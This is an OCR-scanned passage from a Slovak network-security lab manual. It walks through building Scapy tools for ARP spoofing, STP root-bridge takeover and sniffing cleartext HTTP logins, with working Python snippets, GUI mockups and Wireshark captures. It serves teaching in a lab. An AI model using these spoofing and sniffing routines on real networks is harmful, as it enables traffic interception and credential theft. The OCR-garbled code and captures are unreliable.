seq=271/3841,
seq=272/4097,
seq=272/4097,
seq=272/4097,

tt1=128 (no response foul
tt1=128 (reply in 534885
ttl=54 (request in 53488
tt1=128 (no response fou
tt1=128 (reply in 534907
ttl=54 (request in 53490
tt1=128 (no response foul
tt1=128 (reply in 534912
ttl=54 (request in 53491
tt1=128 (no response fou
t£1=128 (reply in 534916
ttl=54 (request in 53491

>

» Frame 534822: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface \Device\NPF_{CElSF7SD-7461-4132:3575-104AF3194009}, id @
» Ethernet II, Src: Ubiquiti_09:c0:18 (fc:ec:da:09:c0:18), Dst: LCFCHeFe_32:35:18 (28:d2:44:32:35:18)
» Internet Protocol Version 4, Src: 10.10.10.1, Dst: 10.10.10.19

» Internet Control Message Protocol

0010
0020

28 d2 44 32 35 18 fc ec
00 2c 59 88 00 00 49 o1
©a 13 00 0@ 8b 3d @0 @0
63 72 65 74 20 6d 73 67

da 09 c© 18 08 00 45 00
9 21 0a @a @a 01 @a @a
00 90 54 4f 50 2@ 53 65
20 32 00 20

(-D25 .. E
Yooo@ oleeeen

ce= --TOP Se
cret msg 2-

>

Obrdzok 8.12 Odchytenie ICMP sprav ndstrojom Wireshark

Uloha 7: Tvorba nastroja pre ARP spoofing

ARP spoofing utok je zaloZeny na tom, Ze Utocnik podvrhne falosny ARP zaznam s mapovanim
medzi IP a MAC adresami taky, Ze Utocnik poSle na branu nevyZiadanu ARP odpoved, v ktorej k IP
adrese obete prislicha MAC adresa utoc¢nika a naopak obeti posle Utoénik APR spravu v podobe, kedy
k IP adrese brany prislicha MAC adresa uto¢nika. PouZivatelské rozhranie méze byt nasledovné

(obrazok 8.13):

ARP Spoofing Attack

Set Spoofed MAC Address:
Set Spoofed IP Address:
Set Victim MAC Address

Set Victim IP Address

28:d2:44:32:22:22

10.10.10.1

ca:01:10:b8:00:08

10.10.10.11

Obrazok 8.13 PouzZivatelské rozhranie
pre falsovanie ARP sprav

Obsluzna funkcia pre vytvorenie ARP spravy s naslednou Upravou pozadovanych poli je uvedend
v nasledujicom vypise:

def T6_Arp_Spoofing():
spoofed_arp = Ether()/ARP()

spoofed_arp[ARP].hwsrc =

T6_spoofed_mac_add_value.get()

spoofed_arp[ARP].psrc = T6_spoofed_ip_add_value.get()

spoofed_arp[ARP].hwdst =

T6_victim_mac_add_value.get()

spoofed_arp[ARP].pdst = T6_victim_ip_add_value.get()

spoofed_arp.dst =
spoofed_arp.src =

spoofed_arp[ARP].op = 2

T6_victim_mac_add_value.get()
T6_spoofed_mac_add_value.get()
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Ako je mozné vidiet, tak staéi vytvorit Ethernetovd a ARP hlavitku, pricom v oboch je potrebné
podla poZiadaviek upravit zdrojové a cielové IP a MAC adresy. Vytvoreni ARP spravu je nasledne
mozné odoslat funkciou sendp. Po odoslani faloSnej ARP spravy je mozné overit otravenie ARP tabulky
napriklad na smerovacdi, ¢o je mozné vidiet na obrazku 8.13:

£

Obrdzok 8.13 Zobrazenie uspesnosti titoku

Overenie spravnosti vytvorenia falosnej ARP spravy je tiez mozné realizovat odchytenim spravy
nastrojom Wireshark, ¢o je zndzornené na obrazku 8.14:

4..22180.349484 LCFCHeFe_32:22:22 Cca:01:10:b8:.. ARP 42 10.10.10.1 is at 28:d2:44:32:22:22

Frame 405229: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface -, id @
Ethernet II, Src: LCFCHeFe_32:22:22 (28:d2:44:32:22:22), Dst: ca:01:10:b8:00:08 (ca:01:10:b8:00:08)
v Address Resolution Protocol (reply)

Hardware type: Ethernet (1)

Protocol type: IPv4 (0x0800)

Hardware size: 6

Protocol size: 4

Opcode: reply (2)

Sender MAC address: LCFCHeFe_32:22:22 (28:d2:44:32:22:22)

Sender IP address: 10.10.10.1

Target MAC address: ca:01:10:b8:00:08 (ca:01:10:b8:00:08)

Target IP address: 10.10.10.11

0000 ca 01 10 b8 00 08 28 d2 44 32 22 22 08 06 00 01 - ----- G=ib2==
08 00 06 04 00 02 28 d2 44 32 22 22 0a 0a 0a 01 ceeees(e D2
ca @1 10 b8 00 @8 Ba ®a a @ 0 ceeeeeen

Obrdzok 8.14 Odchytenie falosSnej ARP sprdavy ndstrojom Wireshark

Uloha 8: Utok na zmenu STP Root Bridge zariadenia

Pre Ucely zmeny Root Bridge zariadenia v STP doméne staci odoslat upravent STP BPDU datovu
jednotku, v ktorej sa bude nachéadzat najnizSie mozné Bridge ID. KniZnica Scapy umoziuje tvorbu STP
datovej jednotky. Od pouZivatela bude potrebné zadat MAC adresu falosného prepinaca a Cislo VLAN,
pre ktoru chceme danud zmenu vykonat. PouZivatelské rozhranie by mohlo vyzerat nasledovne:

STP Root Bridge Manipulation Attack
Set Root Bridge MAC Address:|22:13:07:22:13:08

Set Root Bridge VLAN: 13

Obradzok 8.15 PouZivatelské rozhranie pre
vykonanie utoku na protokol STP
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Nasledujuci vypis zndzornuje obsluznu funkciu pre tvorbu Ethernetovej hlavicky s odpovedajicou
ciefovou multicast-ovou MAC adresou pre STP protokol a na Upravu atribdtov BPDU datovej jednotky:

def T7_STP_Root_Manipulation():
stp_bpdu = Ether(dst="01:80:¢2:00:00:00")/LLC()/STP()
stp_bpdu.rootmac = T7_root_mac_add_value.get()
stp_bpdu.rootid = int(T7_root_vlan_value.get())
stp_bpdu.bridgemac = T7_root_mac_add_value.get()
stp_bpdu.bridgeid = int(T7_root_vlan_value.get())
stp_bpdu.pathcost = @
sendp(stp_bpdu)

Overenie spravnosti implementdcie je moiné vykonat odchytenim STP spravy nastrojom
Wireshark, ¢o je znazornené na obrazku 8.16:

No. Time Source Destination Protocol Length Info

< >

Frame 2047101: 52 bytes on wire (416 bits), 52 bytes captured (416 bits) on interface \Device\NPF_{CE15F75D-7461-41:
Ethernet II, Src: LCFCHeFe_32:35:18 (28:d2:44:32:35:18), Dst: Spanning-tree-(for-bridges)_00 (01:80:c2:00:00:00)
Logical-Link Control
v Spanning Tree Protocol
Protocol Identifier: Spanning Tree Protocol (©x0000)
Protocol Version Identifier: Spanning Tree (0)
BPDU Type: Configuration (0x00)
BPDU flags: ©x00
v Root Identifier: © / 13 / 22:13:07:22:13:08
Root Bridge Priority: ©
Root Bridge System ID Extension: 13
Root Bridge System ID: 22:13:07:22:13:08 (22:13:07:22:13:08)
Root Path Cost: ©
v Bridge Identifier: © / 13 / 22:13:07:22:13:08
Bridge Priority: ©
Bridge System ID Extension: 13
Bridge System ID: 22:13:07:22:13:08 (22:13:07:22:13:08)
Port identifier: 0x0000
Message Age: 1
Max Age: 20
Hello Time: 2
Forward Delay: 15

Obrdzok 8.16 Odchytenie faloSnej STP sprdvy ndstrojom Wireshark

Uloha 9: Tvorba nastroja pre odchytavanie citlivych dat prenadanych HTTP
protokolom

Odchytavanie citlivych dat prenasanych HTTP protokolom je zaloZzené na podobnom principe ako
odchytédvanie ICMP sprav v Ulohe 6. Rozdielom je to, Ze je potrebné vyhladat Specificky typ HTTP sprav
(metdda POST s payload-om obsahujucim slova ako username a password). Pouzivatelské rozhranie
aplikacie je mozné vidiet na obrazku 8.17:

Capturing ClearText HTTP Auth Data Attack
Set Packet Count: |100 l
Show ClearText Auth Data

username=test | password=test
username=a | password=b
username=c | password=d

Obrdzok 8.17 PouZivatelské rozhranie pre odchytenie
citlivych HTTP sprav
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